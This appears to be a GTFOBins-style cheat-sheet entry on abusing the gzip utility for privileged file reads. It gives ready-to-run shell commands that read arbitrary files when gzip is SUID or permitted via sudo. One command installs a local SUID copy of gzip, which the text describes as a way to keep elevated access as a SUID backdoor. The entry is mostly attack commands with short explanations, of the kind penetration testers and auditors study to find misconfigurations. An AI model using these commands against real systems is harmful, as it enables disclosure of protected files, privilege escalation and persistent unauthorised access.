There are also a number of other utilities that rely on
gzip under the hood, e.g.,
gunzip, etc. Besides having similar features, they also allow privileged reads if
gzip itself is SUID.
It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.
LFILE=file_to_read gzip -f $LFILE -t
LFILE=file_to_read gzip -c $LFILE | gzip -d
If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. If it is used to run
sh -p, omit the
-p argument on systems like Debian (<= Stretch) that allow the default
sh shell to run with SUID privileges.
This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. To interact with an existing SUID binary skip the first command and run the program using its original path.
sudo install -m =xs $(which gzip) . LFILE=file_to_read ./gzip -f $LFILE -t
If the binary is allowed to run as superuser by
sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
LFILE=file_to_read sudo gzip -f $LFILE -t